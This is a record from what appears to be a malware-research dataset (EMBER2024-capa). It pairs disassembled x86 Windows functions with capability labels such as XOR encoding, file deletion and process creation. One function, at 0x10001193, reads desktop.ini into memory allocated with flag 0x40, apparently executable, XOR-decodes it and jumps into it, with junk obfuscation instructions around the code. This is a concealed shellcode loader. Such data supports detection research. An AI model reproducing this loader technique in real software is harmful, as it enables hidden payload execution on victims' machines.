joyce8/EMBER2024-capa huggingface dataset:
Function at 0x669230
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x66925d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x66925d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40173a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
lea eax, [ebp - 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
push eax
push dword [edi + 0x14]
call dword [sym.imp.USER32.dll_GetClientRect]
lea esi, [edi + 0x18]
lea ecx, [ebp - 0x10]
push ecx
dec dword [ebp - 8]
push dword [esi]
dec dword [ebp - 4]
call fcn.0040164e
add esp, 8
mov eax, 2
lea ecx, [ebp - 0x10]
inc dword [ebp - 8]
push ecx
inc dword [ebp - 4]
lea edx, [ebp - 0x58]
mov dword [ebp - 0x10], eax
push edx
mov dword [ebp - 0xc], eax
sub dword [ebp - 8], 2
sub dword [ebp - 4], 2
call dword [sym.imp.USER32.dll_CopyRect]
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x48]
push ecx
push edx
call dword [sym.imp.USER32.dll_CopyRect]
push 0x19
lea ecx, [ebp - 0x38]
push ecx
push dword [edi + 0x14]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x38]
push ecx
call fcn.0040b950
add esp, 4
mov edi, eax
lea ecx, [ebp - 0x38]
push 0x414070
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 8]
mov ecx, 0x64
push dword [0x417888]
imul eax, edi
cdq
idiv ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x50], eax
push ecx
mov dword [ebp - 0x48], eax
push dword [esi]
call dword [sym.imp.USER32.dll_FillRect]
push dword [0x417850]
lea edx, [ebp - 0x48]
push edx
push dword [esi]
call dword [sym.imp.USER32.dll_FillRect]
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea ecx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x38]
push edi
push eax
push dword [esi]
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x1c]
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x18]
push 0x800000
cdq
push dword [esi]
sub eax, edx
sar eax, 1
mov dword [ebp - 0x14], eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0xffffff
push dword [esi]
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
lea eax, [ebp - 0x38]
push edi
lea ecx, [ebp - 0x58]
push eax
push ecx
push 6
push dword [ebp - 0x14]
push ebx
push dword [esi]
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0xffffff
push dword [esi]
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x800000
push dword [esi]
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
lea eax, [ebp - 0x38]
push edi
lea ecx, [ebp - 0x48]
push eax
push ecx
push 6
push dword [ebp - 0x14]
push ebx
push dword [esi]
call dword [sym.imp.GDI32.dll_ExtTextOutA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401aa5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
xor eax, eax
mov ecx, 0x10
push esi
push edi
xor esi, esi
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x70], esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x10], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov word [ebp - 0x40], 5
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x44], 1
push ecx
push edx
push esi
lea eax, [ebp - 0x174]
push esi
push esi
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401bd4
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
push 1
lea eax, [ebp - 0x2c]
push esi
push esi
push esi
push eax
call edi
test eax, eax
je 0x401b54
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
lea eax, [ebp - 0x2c]
push esi
push esi
push esi
push eax
call edi
test eax, eax
jne 0x401b31
push 0xc8
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x401b22
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x414074
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x401bd0
xor esi, esi
push 1
lea eax, [ebp - 0x2c]
push esi
push esi
push esi
push eax
call edi
test eax, eax
je 0x401bc0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
lea eax, [ebp - 0x2c]
push esi
push esi
push esi
push eax
call edi
test eax, eax
jne 0x401b9d
push esi
push str.isdelete
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x401b8e
xor eax, eax
jmp 0x401bda
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401ef4
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 4
push ebx
push esi
mov esi, dword [ebp + 0xc]
cmp esi, edx
jle 0x401f46
mov eax, dword [ebp + 8]
mov ebx, edx
mov cl, 7
and bl, 7
sub cl, bl
mov byte [ebp - 2], cl
movzx ecx, cl
mov cl, byte [ecx + 0x414030]
xor cl, byte [eax + edx]
mov byte [ebp - 1], cl
mov byte [ebp - 3], cl
mov cl, byte [ebp - 2]
ror byte [ebp - 1], cl
mov cl, byte [ebp - 3]
movzx ecx, bl
mov cl, byte [ecx + 0x414030]
xor byte [ebp - 1], cl
mov bl, byte [ebp - 1]
mov byte [eax + edx], bl
inc edx
cmp edx, esi
jl 0x401f08
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402be7
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push esi
lea eax, [ebp - 0x104]
push 0x4178a0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x414130
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x244]
lea ecx, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov esi, eax
je 0x402c85
test byte [ebp - 0x244], 0x10
jne 0x402c6c
push 0x4178a0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x244]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402c30
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 0x4178a0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [eax + 0x41789f], 0
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402cdd
Capabilities:
Get disk information

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov ebp, esp
sub esp, 0x208
test eax, eax
push ebx
push esi
push edi
je 0x402e34
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x209], 0x5c
je 0x402d2c
push 0x414134
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x208]
xor ebx, ebx
push eax
call fcn.0040b9a0
add esp, 4
mov al, byte [ebp - 0x208]
sub al, 0x40
mov byte [ebp - 0x103], bl
mov byte [ebp - 0x104], al
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x402e34
push 3
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040c6e0
add esp, 0xc
lea ecx, [ebp - 0x104]
mov byte [ebp - 0x101], bl
push ecx
call fcn.00402ca6
add esp, 4
cmp eax, dword [ebp + 0x10]
jb 0x402e34
push ebx
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push str._sEXB_04X
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x104]
push 0
push ecx
call fcn.00411800
add esp, 8
test eax, eax
jne 0x402dd8
inc ebx
cmp ebx, 0xffff
jb 0x402d9d
lea eax, [ebp - 0x104]
mov esi, dword [ebp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call fcn.0040b9a0
add esp, 4
push esi
call fcn.0040bac0
add esp, 4
mov edi, eax
push 0x414144
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp edi, 0xffffffff
jne 0x402e23
cmp dword [0x415168], 0xd
jne 0x402e2d
mov dword [0x4177cc], 0
jmp 0x402e2d
mov dword [0x4177cc], 1
mov eax, 1
jmp 0x402e36
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402e3d
Capabilities:
Get common file path

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
mov dword [0x4177cc], eax
sub esp, 0x100
lea ecx, [ebp - 0x100]
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
push pe_nt_image_headers32
push ecx
mov byte [esi], al
mov eax, dword [0x417670]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402e75
xor al, al
jmp 0x402ee6
push 0x20
lea eax, [ebp - 0x100]
push 0x414148
push eax
call fcn.0040b630
add esp, 0xc
mov edi, eax
test edi, edi
jne 0x402e95
xor al, al
jmp 0x402ee6
push dword [edi + 0x10]
call fcn.0040c7b0
add esp, 4
mov ebx, eax
push edi
call fcn.0040b580
add esp, 4
push ebx
push esi
push str.TEMP
call fcn.0040c710
add esp, 4
push eax
call fcn.00402cdd
add esp, 0xc
test eax, eax
mov al, 1
jne 0x402ee6
push pe_nt_image_headers32
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.00402cdd
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402fe2
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
push edi
push 0x400
call fcn.0040c840
add esp, 4
mov dword [0x41766c], eax
test eax, eax
je 0x403056
xor ecx, ecx
mov edx, ecx
xor edi, edi
mov eax, 8
add edi, edi
mov ebx, edx
sar edx, 1
and ebx, 1
or edi, ebx
dec eax
jne 0x403005
shl edi, 0x18
mov eax, 8
test edi, 0x80000000
je 0x40302d
add edi, edi
xor edi, 0x4c11db7
jmp 0x40302f
add edi, edi
dec eax
jne 0x40301b
mov eax, 0x20
add edx, edx
mov ebx, edi
sar edi, 1
and ebx, 1
or edx, ebx
dec eax
jne 0x403037
mov eax, dword [0x41766c]
mov dword [eax + ecx*4], edx
inc ecx
cmp ecx, 0x100
jl 0x402ffc
xor eax, eax
pop edi
pop ebx
ret
Function at 0x40334a
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xffffffff
mov edx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov eax, edx
sub ecx, dword [esi]
dec edx
test eax, eax
je 0x403386
mov al, byte [edi]
mov ebx, dword [0x41766c]
xor al, cl
inc edi
movzx eax, al
shr ecx, 8
mov eax, dword [ebx + eax*4]
xor eax, ecx
mov ecx, eax
mov eax, edx
dec edx
test eax, eax
jne 0x403367
mov eax, 0xffffffff
pop edi
sub eax, ecx
mov dword [esi], eax
pop esi
pop ebx
ret

Function at 0x4087d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
mov esi, ecx
lea ecx, [ecx + 0x40]
call fcn.004050f0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4087f0
mov eax, 0xfffffb55
pop edi
pop esi
ret
mov ecx, dword [esi + 0x3c]
mov edi, eax
and ecx, 0xffffffef
and edi, 1
xor edi, ecx
mov edx, eax
and edi, 1
and edx, 4
shr edx, 2
xor edi, ecx
add edx, edx
mov dword [esi + 0x3c], ecx
xor edx, edi
mov ecx, eax
and edx, 2
and ecx, 2
shr ecx, 1
xor edx, edi
shl ecx, 2
mov dword [esi + 0x3c], edi
xor ecx, edx
and eax, 0x20
shr eax, 5
and ecx, 4
shl eax, 3
xor ecx, edx
xor eax, ecx
mov dword [esi + 0x3c], edx
and eax, 8
pop edi
xor eax, ecx
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x3c], eax
xor eax, eax
pop esi
ret

Function at 0x408850
Capabilities:
Set file attributes

Disassembly:
push esi
mov edx, dword [ecx + 0x3c]
xor esi, esi
test dl, 0x10
jne 0x40887b
mov esi, edx
mov eax, edx
and esi, 2
and eax, 4
shr eax, 1
add esi, esi
or esi, eax
mov eax, edx
and eax, 1
and edx, 8
shl edx, 2
or esi, eax
or esi, edx
push esi
add ecx, 0x40
call fcn.004050f0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
ret
Function at 0x40b800
Capabilities:
Terminate process

Disassembly:
mov dword [0x4151ac], 1
cmp dword [esp + 8], 0
push ebx
push esi
mov ebx, dword [esp + 0x14]
mov byte [0x4151a8], bl
jne 0x40b85c
cmp dword [0x418acc], 0
je 0x40b84a
mov esi, dword [0x418ac4]
sub esi, 4
cmp esi, dword [0x418acc]
jb 0x40b84a
mov eax, dword [esi]
test eax, eax
je 0x40b83f
call eax
sub esi, 4
cmp esi, dword [0x418acc]
jae 0x40b837
push 0x414024
push 0x41401c
call fcn.0040b880
add esp, 8
push 0x41402c
push 0x414028
call fcn.0040b880
add esp, 8
test ebx, ebx
jne 0x40b87d
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
ret

Function at 0x40ba80
Capabilities:
Delete file

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
mov eax, 0
jne 0x40ba9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40baad
push eax
call fcn.0040ebe0
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x40bac0
Capabilities:
Create directory

Disassembly:
mov eax, dword [esp + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov eax, 0
jne 0x40badc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40baef
push eax
call fcn.0040ebe0
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x40bb00
Capabilities:
Delete directory

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
mov eax, 0
jne 0x40bb1a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40bb2d
push eax
call fcn.0040ebe0
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x40bb30
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10c
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x40bbb9
lea eax, [esp + 4]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40bbb9
cmp byte [esp + 4], 0x5c
je 0x40bb67
cmp byte [esp + 4], 0x2f
jne 0x40bb7a
mov al, byte [esp + 5]
cmp byte [esp + 4], al
jne 0x40bb7a
xor eax, eax
add esp, 0x10c
ret
mov byte [esp], 0x3d
xor eax, eax
mov al, byte [esp + 4]
push eax
call fcn.0040ec50
lea ecx, [esp + 8]
mov byte [esp + 5], al
mov byte [esp + 6], 0x3a
mov byte [esp + 7], 0
lea edx, [esp + 4]
add esp, 4
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x40bbb9
xor eax, eax
add esp, 0x10c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040ebe0
add esp, 4
mov eax, 0xffffffff
add esp, 0x10c
ret

Function at 0x40bbe0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
xor esi, esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40bc16
cmp byte [esp + 5], 0x3a
jne 0x40bc16
xor eax, eax
mov al, byte [esp + 4]
push eax
call fcn.0040d090
add esp, 4
lea esi, [eax - 0x40]
mov eax, esi
pop esi
add esp, 0x104
ret
Function at 0x40bc20
Capabilities:
Set current directory

Disassembly:
mov eax, dword [esp + 4]
sub esp, 4
cmp eax, 1
jl 0x40bc6e
cmp eax, 0x1f
jg 0x40bc6e
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
add al, 0x40
mov byte [esp], al
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x40bc56
xor eax, eax
add esp, 4
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040ebe0
add esp, 4
mov eax, 0xffffffff
add esp, 4
ret
mov eax, 0xffffffff
add esp, 4
mov dword [0x415168], 0xd
mov dword [0x41516c], 0xf
ret

Function at 0x40bcb0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
push ebx
push esi
mov ebx, dword [esp + 0x118]
push edi
test ebx, ebx
je 0x40bd23
push ebx
call fcn.0040bde0
add esp, 4
test eax, eax
jne 0x40bcf1
xor eax, eax
pop edi
mov dword [0x41516c], 0xf
mov dword [0x415168], 0xd
pop esi
pop ebx
add esp, 0x10c
ret
add bl, 0x40
lea eax, [esp + 0x10]
mov byte [esp + 0xc], bl
push eax
lea ecx, [esp + 0x18]
lea ebx, [esp + 0x10]
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0
push ecx
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x40bd33
lea eax, [esp + 0x14]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40bdd2
inc eax
cmp eax, 0x104
ja 0x40bdd2
mov edx, dword [esp + 0x120]
test edx, edx
jne 0x40bd84
mov ecx, dword [esp + 0x124]
cmp eax, ecx
jg 0x40bd5f
mov eax, ecx
push eax
call fcn.0040c840
add esp, 4
mov edx, eax
test edx, edx
jne 0x40bda3
xor eax, eax
pop edi
mov dword [0x415168], 0xc
pop esi
pop ebx
add esp, 0x10c
ret
cmp eax, dword [esp + 0x124]
jle 0x40bda3
xor eax, eax
pop edi
mov dword [0x415168], 0x22
pop esi
pop ebx
add esp, 0x10c
ret
lea edi, [esp + 0x14]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, edx
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x10c
ret

Function at 0x40bde0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [esp + 4]
sub esp, 4
test eax, eax
jne 0x40bdf4
mov eax, 1
add esp, 4
ret
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0x5c
mov byte [esp + 3], 0
add al, 0x40
mov byte [esp], al
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x40be26
cmp eax, 1
je 0x40be26
mov eax, 1
add esp, 4
ret
xor eax, eax
add esp, 4
ret
Function at 0x40cc10
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413180
push 0x4100d4
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x415174], eax
xor eax, eax
mov al, byte [0x415175]
mov dword [0x415180], eax
mov eax, dword [0x415174]
shr dword [0x415174], 0x10
and eax, 0xff
mov dword [0x41517c], eax
shl eax, 8
add eax, dword [0x415180]
mov dword [0x415178], eax
call fcn.0040f600
mov dword [ebp - 4], 0
call fcn.0040f000
call fcn.004100c0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x418ac0], eax
call fcn.0040fc60
mov dword [0x4151b0], eax
test eax, eax
je 0x40cca9
cmp dword [0x418ac0], 0
jne 0x40ccb3
push 0xffffffffffffffff
call fcn.0040b7c0
add esp, 4
call fcn.0040f9e0
call fcn.0040f900
call fcn.0040b790
mov esi, dword [0x418ac0]
mov al, byte [esi]
cmp al, 0x22
je 0x40ccda
cmp al, 0x20
jbe 0x40cd07
inc esi
cmp byte [esi], 0x20
ja 0x40ccd2
jmp 0x40cd07
inc esi
cmp byte [esi], 0x22
je 0x40cd06
mov bl, byte [ebp - 0x28]
mov bl, byte [esi]
test bl, bl
je 0x40cd01
xor eax, eax
mov al, bl
push eax
call fcn.0040f8a0
add esp, 4
test eax, eax
je 0x40ccfb
inc esi
inc esi
cmp byte [esi], 0x22
jne 0x40cce3
cmp byte [esi], 0x22
jne 0x40cd07
inc esi
cmp byte [esi], 0
je 0x40cd17
cmp byte [esi], 0x20
ja 0x40cd17
inc esi
cmp byte [esi], 0
jne 0x40cd0c
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x44], 1
mov eax, 0xa
je 0x40cd3b
mov eax, dword [ebp - 0x40]
and eax, 0xffff
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.0040b7c0
jmp 0x40cd7c
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret